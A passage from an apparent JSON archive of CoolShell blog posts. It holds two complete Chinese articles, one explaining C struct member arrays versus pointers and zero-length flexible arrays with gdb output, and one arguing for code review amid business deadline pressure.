[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\n* [![疫苗：Java HashMap的死循环](../wp-content/uploads/2013/05/race_condition-150x150.jpg)](https://coolshell.cn/articles/9606.html)[疫苗：Java HashMap的死循环](https://coolshell.cn/articles/9606.html)\nThe post [Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-4-1 C语言结构体里的成员数组和指针.md",
    "content": "---\nlayout: post\ntitle: C语言结构体里的成员数组和指针\ndate: 2014/4/1/ 0:17:15\nupdated: 2014/4/1/ 0:17:15\nstatus: publish\npublished: true\ntype: post\n---\n\n单看这文章的标题，你可能会觉得好像没什么意思。你先别下这个结论，相信这篇文章会对你理解C语言有帮助。这篇文章产生的背景是在微博上，看到[@Laruence](http://weibo.com/laruence \"Laruence\")同学出了一个关于C语言的题，[微博链接](http://weibo.com/1170999921/ADojDbuSe)。微博截图如下。我觉得好多人对这段代码的理解还不够深入，所以写下了这篇文章。\n\n\n[![zero_array](../wp-content/uploads/2014/03/zero_array.png)](http://weibo.com/1170999921/ADojDbuSe)\n\n\n为了方便你把代码copy过去编译和调试，我把代码列在下面：\n\n\n\n```\n#include <stdio.h>\nstruct str{\n    int len;\n    char s[0];\n};\n\nstruct foo {\n    struct str *a;\n};\n\nint main(int argc, char** argv) {\n    struct foo f={0};\n    if (f.a->s) {\n        printf( f.a->s);\n    }\n    return 0;\n}\n\n```\n\n你编译一下上面的代码，在VC++和GCC下都会在14行的printf处crash掉你的程序。[@Laruence](http://weibo.com/laruence \"Laruence\") 说这个是个经典的坑，我觉得这怎么会是经典的坑呢？上面这代码，你一定会问，为什么if语句判断的不是f.a？而是f.a里面的数组？写这样代码的人脑子里在想什么？还是用这样的代码来玩票？不管怎么样，看过原微博的回复，我个人觉得大家主要还是对C语言理解不深，如果这算坑的话，那么全都是坑。\n\n\n\n接下来，你调试一下，或是你把14行的printf语句改成：\n\n\n`printf(\"%x\\n\", f.a->s);`\n\n\n你会看到程序不crash了。程序输出：4。 这下你知道了，访问0x4的内存地址，不crash才怪。于是，你一定会有如下的问题：\n\n\n**1）为什么不是 13行if语句出错？f.a被初始化为空了嘛，用空指针访问成员变量为什么不crash？**\n\n\n**2）为什么会访问到了0x4的地址？靠，4是怎么出来的？**\n\n\n**3）代码中的第4行，char s[0] 是个什么东西？零长度的数组？为什么要这样玩？**\n\n\n让我们从基础开始一点一点地来解释C语言中这些诡异的问题。\n\n\n#### 结构体中的成员\n\n\n首先，我们需要知道——**所谓变量，其实是内存地址的一个抽像名字罢了**。在静态编译的程序中，所有的变量名都会在编译时被转成内存地址。机器是不知道我们取的名字的，只知道地址。\n\n\n所以有了——栈内存区，堆内存区，静态内存区，常量内存区，我们代码中的所有变量都会被编译器预先放到这些内存区中。\n\n\n有了上面这个基础，我们来看一下结构体中的成员的地址是什么？我们先简单化一下代码：\n\n\n\n```\nstruct test{\n    int i;\n    char *p;\n};\n```\n\n上面代码中，test结构中i和p指针，在C的编译器中保存的是相对地址——也就是说，他们的地址是相对于struct test的实例的。如果我们有这样的代码：\n\n\n`struct test t;`\n\n\n我们用gdb跟进去，对于实例t，我们可以看到：\n\n\n\n```\n# t实例中的p就是一个野指针\n(gdb) p t\n$1 = {i = 0, c = 0 '\\000', d = 0 '\\000', p = 0x4003e0 \"1\\355I\\211\\...\"}\n\n# 输出t的地址\n(gdb) p &t\n$2 = (struct test *) 0x7fffffffe5f0\n\n#输出(t.i)的地址\n(gdb) p &(t.i)\n$3 = (char **) 0x7fffffffe5f0\n\n#输出(t.p)的地址\n(gdb) p &(t.p)\n$4 = (char **) 0x7fffffffe5f4\n```\n\n我们可以看到，t.i的地址和t的地址是一样的，t.p的址址相对于t的地址多了个4。说白了，**t.i 其实就是(&t + 0x0)**, **t.p 的其实就是 (&t + 0x4)**。0x0和0x4这个偏移地址就是成员i和p在编译时就被编译器给hard code了的地址。于是，你就知道，**不管结构体的实例是什么——访问其成员其实就是加成员的偏移量**。\n\n\n下面我们来做个实验：\n\n\n\n```\nstruct test{\n    int i;\n    short c;\n    char *p;\n};\n\nint main(){\n    struct test *pt=NULL;\n    return 0;\n}\n```\n\n编译后，我们用gdb调试一下，当初始化pt后，我们看看如下的调试：（我们可以看到就算是pt为NULL，访问其中的成员时，其实就是在访问相对于pt的内址）\n\n\n\n```\n(gdb) p pt\n$1 = (struct test *) 0x0\n(gdb) p pt->i\nCannot access memory at address 0x0\n(gdb) p pt->c\nCannot access memory at address 0x4\n(gdb) p pt->p\nCannot access memory at address 0x8\n```\n\n注意：上面的pt->p的偏移之所以是0x8而不是0x6，是因为内存对齐了（我在64位系统上）。关于内存对齐，可参看《[深入理解C语言](https://coolshell.cn/articles/5761.html \"深入理解C语言\")》一文。\n\n\n好了，现在你知道为什么原题中会访问到了0x4的地址了吧，因为是相对地址。\n\n\n相对地址有很好多处，其可以玩出一些有意思的编程技巧，比如把C搞出面向对象式的感觉来，你可以参看我正好11年前的文章《[用C写面向对像的程序](http://blog.csdn.net/haoel/article/details/2864)》（用指针类型强转的危险玩法——相对于C++来说，C++编译器帮你管了继承和虚函数表，语义也清楚了很多）\n\n\n#### 指针和数组的差别\n\n\n有了上面的基础后，你把源代码中的struct str结构体中的char s[0];改成char \\*s;试试看，你会发现，在13行if条件的时候，程序因为Cannot access memory就直接挂掉了。为什么声明成char s[0]，程序会在14行挂掉，而声明成char \\*s，程序会在13行挂掉呢？**那么char \\*s 和 char s[0]有什么差别呢**？\n\n\n在说明这个事之前，有必要看一下汇编代码，用GDB查看后发现：\n\n\n* 对于char s[0]来说，汇编代码用了lea指令，lea   0x04(%rax),   %rdx\n* 对于char\\*s来说，汇编代码用了mov指令，mov 0x04(%rax),   %rdx\n\n\nlea全称load effective address，是把地址放进去，而mov则是把地址里的内容放进去。所以，就crash了。\n\n\n从这里，我们可以看到，**访问成员数组名其实得到的是数组的相对地址，而访问成员指针其实是相对地址里的内容**（这和访问其它非指针或数组的变量是一样的）\n\n\n换句话说，**对于数组 char s[10]来说，数组名 s 和 &s 都是一样的**（不信你可以自己写个程序试试）。在我们这个例子中，也就是说，都表示了偏移后的地址。这样，如果我们访问 指针的地址（或是成员变量的地址），那么也就不会让程序挂掉了。\n\n\n正如下面的代码，可以运行一点也不会crash掉（你汇编一下你会看到用的都是lea指令）：\n\n\n\n```\nstruct test{\n    int i;\n    short c;\n    char *p;\n    char s[10];\n};\n\nint main(){\n    struct test *pt=NULL;\n    printf(\"&s = %x\\n\", pt->s); //等价于 printf(\"%x\\n\", &(pt->s) );\n    printf(\"&i = %x\\n\", &pt->i); //因为操作符优先级，我没有写成&(pt->i)\n    printf(\"&c = %x\\n\", &pt->c);\n    printf(\"&p = %x\\n\", &pt->p);\n    return 0;\n}\n```\n\n**看到这里，你觉得这能算坑吗？不要出什么事都去怪语言，大家要想想是不是问题出在自己身上。**\n\n\n#### 关于零长度的数组\n\n\n首先，我们要知道，**0长度的数组在ISO C和C++的规格说明书中是不允许的**。这也就是为什么在VC++2012下编译你会得到一个警告：“arning C4200: 使用了非标准扩展 : 结构/联合中的零大小数组”。\n\n\n那么为什么gcc可以通过而连一个警告都没有？那是因为gcc 为了预先支持C99的这种玩法，所以，让“零长度数组”这种玩法合法了。关于GCC对于这个事的文档在这里：“[Arrays of Length Zero](http://gcc.gnu.org/onlinedocs/gcc/Zero-Length.html \"Arrays of Length Zero\")”，文档中给了一个例子（我改了一下，改成可以运行的了）：\n\n\n\n```\n#include <stdlib.h>\n#include <string.h>\n\nstruct line {\n   int length;\n   char contents[0]; // C99的玩法是：char contents[]; 没有指定数组长度\n};\n\nint main(){\n    int this_length=10;\n    struct line *thisline = (struct line *)\n                     malloc (sizeof (struct line) + this_length);\n    thisline->length = this_length;\n    memset(thisline->contents, 'a', this_length);\n    return 0;\n}\n```\n\n上面这段代码的意思是：我想分配一个不定长的数组，于是我有一个结构体，其中有两个成员，一个是length，代表数组的长度，一个是contents，代码数组的内容。后面代码里的 this\\_length（长度是10）代表是我想分配的数据的长度。（这看上去是不是像一个C++的类？）这种玩法英文叫：Flexible Array，中文翻译叫：柔性数组。\n\n\n我们来用gdb看一下：\n\n\n\n```\n(gdb) p thisline\n$1 = (struct line *) 0x601010\n\n(gdb) p *thisline\n$2 = {length = 10, contents = 0x601010 \"\\n\"}\n\n(gdb) p thisline->contents\n$3 = 0x601014 \"aaaaaaaaaa\"\n```\n\n我们可以看到：在输出\\*thisline时，我们发现其中的成员变量contents的地址居然和thisline是一样的（偏移量为0x0??!!）。但是当我们输出thisline->contents的时候，你又发现contents的地址是被offset了0x4了的，内容也变成了10个‘a’。（我觉得这是一个GDB的bug，VC++的调试器就能很好的显示）\n\n\n我们继续，如果你sizeof(char[0])或是 sizeof(int[0]) 之类的零长度数组，你会发现sizeof返回了0，这就是说，零长度的数组是存在于结构体内的，但是不占结构体的size。你可以简单的理解为一个没有内容的占位标识，直到我们给结构体分配了内存，这个占位标识才变成了一个有长度的数组。\n\n\n看到这里，你会说，为什么要这样搞啊，把contents声明成一个指针，然后为它再分配一下内存不行么？就像下面一样。\n\n\n\n```\nstruct line {\n   int length;\n   char *contents;\n};\n\nint main(){\n    int this_length=10;\n    struct line *thisline = (struct line *)malloc (sizeof (struct line));\n    thisline->contents = (char*) malloc( sizeof(char) * this_length );\n    thisline->length = this_length;\n    memset(thisline->contents, 'a', this_length);\n    return 0;\n}\n```\n\n这不一样清楚吗？而且也没什么怪异难懂的东西。是的，这也是普遍的编程方式，代码是很清晰，也让人很容易理解。即然这样，那为什么要搞一个零长度的数组？有毛意义？！\n\n\n这个事情出来的原因是——**我们想给一个结构体内的数据分配一个连续的内存！**这样做的意义有两个好处：\n\n\n**第一个意义是，方便内存释放**。如果我们的代码是在一个给别人用的函数中，你在里面做了二次内存分配，并把整个结构体返回给用户。用户调用free可以释放结构体，但是用户并不知道这个结构体内的成员也需要free，所以你不能指望用户来发现这个事。所以，如果我们把结构体的内存以及其成员要的内存一次性分配好了，并返回给用户一个结构体指针，用户做一次free就可以把所有的内存也给释放掉。（读到这里，你一定会觉得C++的封闭中的析构函数会让这事容易和干净很多）\n\n\n**第二个原因是，这样有利于访问速度**。连续的内存有益于提高访问速度，也有益于减少内存碎片。（其实，我个人觉得也没多高了，反正你跑不了要用做偏移量的加法来寻址）\n\n\n我们来看看是怎么个连续的，用gdb的x命令来查看：(我们知道，用struct line {}中的那个char contents[]不占用结构体的内存，所以，struct line就只有一个int成员，4个字节，而我们还要为contents[]分配10个字节长度，所以，一共是14个字节)\n\n\n\n```\n(gdb) x /14b thisline\n0x601010:       10      0       0       0       97      97      97      97\n0x601018:       97      97      97      97      97      97\n```\n\n从上面的内存布局我们可以看到，前4个字节是 int length，后10个字节就是char contents[]。\n\n\n如果用指针的话，会变成这个样子：\n\n\n\n```\n(gdb) x /16b thisline\n0x601010:       1       0       0       0       0       0       0       0\n0x601018:       32      16      96      0       0       0       0       0\n(gdb) x /10b this->contents\n0x601020:       97      97      97      97      97      97      97      97\n0x601028:       97      97\n```\n\n上面一共输出了四行内存，其中，\n\n\n* 第一行前四个字节是 int length，第一行的后四个字节是对齐。\n* 第二行是char\\* contents，64位系统指针8个长度，他的值是0x20 0x10 0x60 也就是0x601020。\n* 第三行和第四行是char\\* contents指向的内容。\n\n\n从这里，我们看到，**其中的差别——数组的原地就是内容，而指针的那里保存的是内容的地址**。\n\n\n#### 后记\n\n\n好了，我的文章到这里就结束了。但是，请允许我再唠叨两句。\n\n\n**1）看过这篇文章，你觉得C复杂吗？我觉得并不简单。某些地方的复杂程度不亚于C++。**\n\n\n**2）那些学不好C++的人一定是连C都学不好的人。连C都没学好，你们根本没有资格鄙视C++。**\n\n\n**3）当你们在说有坑的时候，你得问一下自己，是真有坑还是自己的学习能力上出了问题。**\n\n\n如果你觉得你的C语言还不错，欢迎你看看《[C语言的谜题](https://coolshell.cn/articles/945.html \"C语言的谜题\")》还有《[谁说C语言很简单？](https://coolshell.cn/articles/873.html \"谁说C语言很简单？\")》还有《[语言的歧义](https://coolshell.cn/articles/830.html)》以及《[深入理解C语言](https://coolshell.cn/articles/5761.html \"深入理解C语言\")》一文。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](http://coolshell.cn/articles/11235.html)[一个浮点数跨平台产生的问题](http://coolshell.cn/articles/11235.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](http://coolshell.cn/articles/873.html)[谁说C语言很简单？](http://coolshell.cn/articles/873.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](http://coolshell.cn/articles/945.html)[C语言的谜题](http://coolshell.cn/articles/945.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](http://coolshell.cn/articles/830.html)[语言的歧义](http://coolshell.cn/articles/830.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](http://coolshell.cn/articles/5761.html)[深入理解C语言](http://coolshell.cn/articles/5761.html)\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](http://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](http://coolshell.cn/articles/9859.html)\nThe post [C语言结构体里的成员数组和指针](https://coolshell.cn/articles/11377.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-4-12 从Code Review 谈如何做技术.md",
    "content": "---\nlayout: post\ntitle: 从Code Review 谈如何做技术\ndate: 2014/4/12/ 8:28:1\nupdated: 2014/4/12/ 8:28:1\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/04/code_review-225x300.jpg)（这篇文章缘由我的微博，我想多说一些，有些杂乱，想到哪写到哪）\n\n\n这两天，在微博上表达了一下Code Review的重要性。因为翻看了阿里内部的Review Board上的记录，从上面发现Code Review做得好的是一些比较偏技术的团队，而偏业务的技术团队基本上没有看到Code Review的记录。当然，这并不能说没有记录他们就没有做Code Review，于是，我就问了一下以前在业务团队做过的同事有没有Code Review，他告诉我不但没有Code Review，而且他认为Code Review没用，因为：\n\n\n1）工期压得太紧，时间连coding都不够，以上线为目的，\n\n\n2）需求老变，代码的生命周期太短。所以，写好的代码没有任何意义，烂就烂吧，反正与绩效无关。\n\n\n我心里非常不认同这样的观点，我觉得我是程序员，我是工程师，就像医生一样，不是把病人医好就好了，还要对病人的长期健康负责。对于常见病，要很快地医好病人很简单，下猛药，大量使用抗生素，好得飞快。但大家都知道，这明显是“饮鸩止渴”、“竭泽而渔”的做法。医生需要有责任心和医德，我也觉得程序员工程师也要有相应的责任心和相应的修养。东西交给我我必需要负责，我觉得这种负责和修养不是”做出来“就了事了，而是要到“做漂亮”这个级别，这就是“山寨”和“工业”的差别。而只以“做出来”为目的标准，我只能以为，这样的做法只不过是“按部就班”的堆砌代码罢了，和劳动密集型的“装配生产线”和“砌砖头”没有什么差别，在这种环境里呆着还不如离开。\n\n\n老实说，因为去年我在业务团队的时候，我的团队也没有做Code Review，原因是多样的。其中一个重要原因是，我刚来阿里，所以，需要做的是在适应阿里的文化，任何公司都有自己的风格和特点，任何公司的做法都有他的理由和成因，对于我这样的一个初来者，首要的是要适应和观察，不要对团队做太多的改动，跟从、理解和信任是融入的关键。（注：在建北京团队和不要专职的测试人员上我都受到了一些阻力），所以跟着团队走没有玩Code Review。干了一年后，觉得我妥协了很多我以前所坚持的东西，觉得自己的标准在降低，想一想后背拔凉拔凉的，所以我决定坚持，而且还要坚持高标准。\n\n\n\n对于Code Review很重要的这个观点，在微博上抛出来后，被一些阿里的工程师，架构师/专家，甚至资深架构师批评，我在和他们回复和讨论的过程中，居然发现有个“因为对方用户的设置”我无法回复了（我被拉黑了，还有一些直接就是冷讽和骂人了，微博中我就直接删除了）。这些批评我的阿里工程师/架构师的观点总结一下如下：（**顺便说一下，阿里内还是有很多团队坚持做Code Review的**）\n\n\n1）到业务团队体会一下，倒逼工期的项目有多少？订好交付日期后再要求提前1个月的有多少？现在是做到已经不容易，更不谈做得漂亮！。\n\n\n2）Code Review是一种教条，意义不大，有测试，只要不出错，就可以了。\n\n\n3）目标都是改进质量，有限的投入总希望能有最大的产出，不同沉湎改进质量的方式不一样，业务应用开发忙的跟狗一样，而且业务逻辑变化快，通用性差，codereviw的成本要比底层高。\n\n\n4）现在的主要矛盾是倒排出来的工期和不靠谱的程序员之间的矛盾，我认为cr不是解决这个问题的银弹。不从实际情况出发光打正义的嘴炮实在太过于自慰了 。\n\n\n**我们可以看到，上面观点其实和Code Review没有太多关系，其实是在抱怨另外的问题**。这些观点其实是技术团队和业务团队的矛盾，但不知道为什么强加给了我的“Code Review很重要”的这个观点，然后这些观点反过来冲击“Code Reivew”，并说“Code Review无用”。这种讨论问题的方式在很常见，你说A，我说B，本来A、B是两件事，但就是要混为一谈，然后似是而非的用B来证明你的A观点是错的。（也许，这些工程师/架构师心存怨气，需要一个发泄的通道）\n\n\n**我觉得，很多时候，人思考问题思考不清楚，很大一部分原因是因为把很多问题混为一谈**，连我自己有些时候都会这样。引以为戒。\n\n\n即然被混为一谈，那我就来拆分一下，也是下面这三个问题：\n\n\n* Code Review有没有用的问题。\n* Code Review做不起来的问题。\n* 业务变化快，速度快的问题，技术疲于跟命。\n\n\n#### Code Review\n\n\n你Google一下Code Reivew这个关键词，你就会发现Code Review的好处基本上是不存在争议的，有很多很多的文章和博文都在说Code Review的重要性，怎么做会更好，而且很多公司在面试过程中会加入“Code Review”的问题。打开[Wikipedia的词条](http://zh.wikipedia.org/wiki/%E4%BB%A3%E7%A0%81%E5%AE%A1%E6%9F%A5)你会看到这样的描述——\n\n\n\n> 卡珀斯·琼斯（Capers Jones）分析了超过12,000个软件开发项目，其中使用正式代码审查的项目，发现潜在缺陷率约在60-65%之间，若是非正式的代码审查，发现潜在缺陷率不到50%。大部份的测试，发现的潜在缺陷率会在30%左右。\n> \n> \n> 对于一些关键的软件（例如安全关键系统的嵌入式软件），一般的代码审查速度约是一小时150行程序码，一小时审查数百行程序码的审查速度太快，可能无法找到程序中的问题。代码审查一般可以找到及移除约65%的错误，最高可以到85%。\n> \n> \n> 也有研究针对代码审查找到的缺陷类型进行分析。代码审查找到的缺陷中，有75%是和计算机安全隐患有关。对于产品生命周期很长的软件公司而言，代码审查是很有效的工具。\n> \n> \n\n\n**Code Review的好处我觉得不用多说了，主要是让你的代码可以更好的组织起来，有更易读，有更高的维护性，同时可以达到知识共享，找到bug只是其中的副产品**。这个东西已经不新鲜了，你上网可以找到很多文章，我就不多说了。就像你写程序要判断错误一样，Code Review也是最基本的常识性的东西。\n\n\n我从2002年开始就浸泡在严格的Code Review中，我的个人成长和Code Review有很大的关系，如果我的成长过程中没有经历过Code Review这个事，我完全不敢想像。\n\n\n**我个人认为代码有这几种级别：1）可编译，2）可运行，3）可测试，4）可读，5）可维护，6）可重用。通过自动化测试的代码只能达到第3）级，而通过Code Review的代码少会在第4）级甚至更高。**关于Code Review，你可以参看本站的《[Code Review中的几个提示](https://coolshell.cn/articles/1302.html \"Code Review中的几个提示\")》\n\n\n可见，Code Review直接关系到了你的工程能力！\n\n\n#### Code Review 的问题\n\n\n有下面几个情况会让你的Code Review没有效果。\n\n\n首当其冲的是——“**人员能力不足**”，我经历过这样的情况，Code Review的过程中，大家大眼瞪小眼，没有什么好的想法，不知道什么是好的代码，什么是不好的代码。导致Code Review大多数都在代码风格上。今天，我告诉你，代码风格这种事，是每个程序员自查的事情，不应该浪费大家的时间。对此，我有两个建议：1）你团队的人招错了，该换血了。2）让你团队的人花时候阅读一下《[代码大全](http://book.douban.com/subject/1477390/)》这本书（当然，还要读很多基础知识的书）。\n\n\n次当其冲的是——“**结果更重要**”，也就是说，做出来更重要，做漂亮不重要。因为我的KPI和年终奖based on how many works I’ve done！而不是How perfect they are ! 这让我想到那些天天在用Spring MVC 做CRUD网页的工程师，我承认，他们很熟练。大量的重复劳动。其实，仔细想一下好多东西是可以框架化，模板化，或是自动生成的。所以，为了堆出这么多网页就停地去堆，做的东西是很多，但是没有任何成长。急功近利，也许，你做得多，拿到了不错的年终奖，但是你失去的也多，失去了成为一个卓越工程师的机会。你本来可以让你的月薪在1-2年后翻1-2倍的，但一年后你只拿到了为数不多的年终奖。\n\n\n然后是——“**人员的态度问题**”，一方面就是懒，不想精益求精，只要干完活交差了事。对此，你更要大力开展Code Review了，让这种人写出来的代码曝光在更多人面前，让他为质量不好的代码蒙羞。另一方面，有人会觉得那是别人的模块，我不懂，也没时间 去懂，不懂他的业务怎么做Code Review? 我只想说，如果你的团队里这样的“各个自扫门前雪”的事越多，那么这个团队也就越没主动性，没有主动性也就越不可能是个好团队，做的东西也不可能好。而对于个人来说，也就越不可能有成长。\n\n\n接下来是——“**需求变化的问题**”，有人认识，需求变得快，代码的生存周期比较短，不需要好的代码，反正过两天这些代码就会被废弃了。如果是一次性的东西，的确质量不需要太高，反正用了就扔。但是，我觉得多多少少要Review一下这个一次性的烂代码不会影响那些长期在用的代码吧，如果你的项目全部都是临时代码，那么你团队是不是也是一个临时团队？关于如果应对需求变化，你可以看看本站的《[需求变化与IoC](https://coolshell.cn/articles/6950.html)》《[Unix的设计思想来应对多变的需求](https://coolshell.cn/articles/7236.html)》的文章 ，从这些文章中，我相信你可以看到对于需求变化的代码质量需要的更高。\n\n\n最后是——“**时间不够问题**”，如果是业务逼得紧，让你疲于奔命，那么这不是Code Review好不好问题，这是需求管理和项目管理的问题以及别的非技术的问题。下面我会说。\n\n\n不管怎么样，上述Code Review的问题不应该成为“Code Review无意义”的理由或借口，这就好像“因噎废食”一样。干什么事都会有困难和问题的，有的人就这样退缩了，但有的人看得到利大于弊，还是去坚持，人与人的不同正在这个地方。这就是为什么运动会受伤，但还是会人去运动，而有人因为怕受伤就退缩了一样。\n\n\n#### 被业务逼得太紧\n\n\n被业务逼得太紧，需求乱变，这其实和Code Review没有多大关系了。对此，我想先讲一个我的故事。\n\n\n我去年在阿里的聚石塔，刚去的时候，聚石塔正在做一个很大的重构——对架构的大调整。因此压了很多业务需求，等这个项目花了2-3个月做完了后，一下子涌入了30-50个需求，还规定一个月完成，搞得团队疲于奔命。在累了两周后，我仔细分析了一下这些需求，发现很多需求是在重复做阿里云已经做过的东西，还有一些需求是因为聚石塔这个平台不规范没有标准所产生的问题。于是，我做了这么三件事：\n\n\n1）重新定义聚石塔这个产品主要目标和范围，确定哪些该做，哪些不该做。\n\n\n2）为聚石塔制定标准 ，让阿里云的API都长得基本一样，并制订云资源的接入标准。\n\n\n3）推动重构阿里云的Portal系统，不再实现阿里云已经做过的东西，与阿里云紧密结合。\n\n\n这些事情推动起来并不容易，聚石塔的业务方一开始也不理解，我和产品一起做业务方的工作，而阿里云也被我逼得很惨（在这里一并感谢，尤其阿里云的同学，老实说，和阿里云跨团队合作中是我这么多年来感觉最好的一次，相当赞）。通过这个事，聚石塔需求一下就有质的下降了。搞得还有几个工程师来和我说，你这么搞，聚石塔就没事可干了。姑且不说工程师对聚石塔的理解是怎么样的。 我只想说，我大量地减少了需求，尽最大可能联合了该联合的人，而不是自己闭门造车，并让产品的目标和方向更明确了。做了这些事情后，大家不但不用加班，而且还有时间充电去学技术，并为聚石塔思考未来的方向和发展。去年公司996的时候，我的团队还在965（搞得跟异教徒似的），而且还有很多时间去专研新的东西。\n\n\n说这个故事，我不是为了得瑟，而是因为有些人在微博上抨击我是一个道貌岸然的只会谈概念讲道理的装逼犯。所以，我告诉大家我在聚石塔是怎么做的，我公开写在这里，你也可以向相关的同学去求证我说的是不是真的。也向你证明，我可能是个装逼犯，但绝不是只会谈概念讲道理的装逼犯。\n\n\n被业务方逼得紧不要抱怨，你没有时间被逼得像牲口一样工作，这个时候，你需要的是暂停一下想一想，为什么会像牲口一样？而这正是让你变得聪明的机会。\n\n\n我为你总结一下，\n\n\n1）你有没有去Review业务部门给你的这么多的需求，哪些是合理的，哪些是不合理的。在Amazon，开发工程师都会被教育拿到需求后一定要问——“为什么要做？业务影响度有多大？有多少用户受益？”，回答不清这个问题，没有数据的支持，就不做。所以，产品经理要做很多数据挖拙和用户调研的工作，而不是拍拍脑袋，听极少数的用户抱怨就要开需求了。\n\n\n2）产品经理也要管理和教育的。你要告诉你的产品经理：“你是一个好的产品经理，因为你不但对用户把握得很好，也会对软件工艺把握得很好。你不但会开出外在的功能性需求，也同样会开出内在的让软件系统更完善的非功能性需求。你不是在迁就用户，而是引导用户。你不会无限制地加功能，而是把握产品灵魂控制并简化功能。你会为自己要做的和不做东西的感到同样的自豪。”你要告诉你的产品经理：“做一个半成品不如做好半年产品”（更多这样的观点请参看《[Rework摘录和感想](https://coolshell.cn/articles/9156.html \"《Rework》摘录及感想\")》）\n\n\n3）做事情是要讲效率的。Amazon里喜欢使用一种叫T-Shirt Size Estimation的评估方法来优先做投入小产出大的“Happy Case”。关于什么是效率，什么是T-Shirt Size Estimation，你可以看看《[加班与效率](https://coolshell.cn/articles/10217.html \"加班与效率\")》一文 。\n\n\n4）需求总是会变化的，不要抱怨需求变化太快。你应该抱怨的是为什么我们没有把握好方向？老变？这个事就像踢足球一样，你要去的地方是球将要去的地方，而不是球现在的地方。你要知道球要去哪里，你就知道球之前是怎么动的，找到了运动轨迹后，你才知道球要去像何方。如果你都不知道球要去向何方，那你就是一只无头苍蝇一样，东一下西一下。\n\n\n**当你忙得跟牲口一样，你应该停下来，问一下自己，自己成为牲口的原因，是不是就是因为自己做事时候像就牲口一样思考？**\n\n\n#### 其它\n\n\n最后，我在给阿里今年新入职的毕业生的“技塑人生”的分享中，我给他们布置了5、6个Homework，分享几个给大家：\n\n\n1）重构或写一个模块，把他做成真正的Elegant级别。\n\n\n2）与大家分享一篇或几篇技术文章 ，并收获10-30个赞。\n\n\n3）降低现有至少20%的重复工作或维护工作\n\n\n4）拒绝或简化一个需求（需要项目中所有的Stakeholders都同意）\n\n\n部署这些作业的原因，是我希望新入行的同学们对自己的工作坚持高的标准，我知道你们会因为骨感的现实而妥协，但是我希望你们就算在现实中妥协了也要在内心中坚持尽可能高的标准，不要习惯成自然，最后被社会这个大染缸给潜移默化了。因为你至少要对自己负责。**对自己负责就是，用脚投票，如果妥协得受不了了就离开吧**。\n\n\n芝兰生于空谷，不以无人而不芳！君子修身养道，不以穷困而改志！\n\n\n谢谢听我唠叨。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个空格引发的惨剧](../wp-content/uploads/2011/06/20110620115951113-150x150.gif)](https://coolshell.cn/articles/4875.html)[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [从Code Review 谈如何做技术](https://coolshell.cn/articles/11432.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-4-17 从LongAdder看更高效的无锁实现.md",
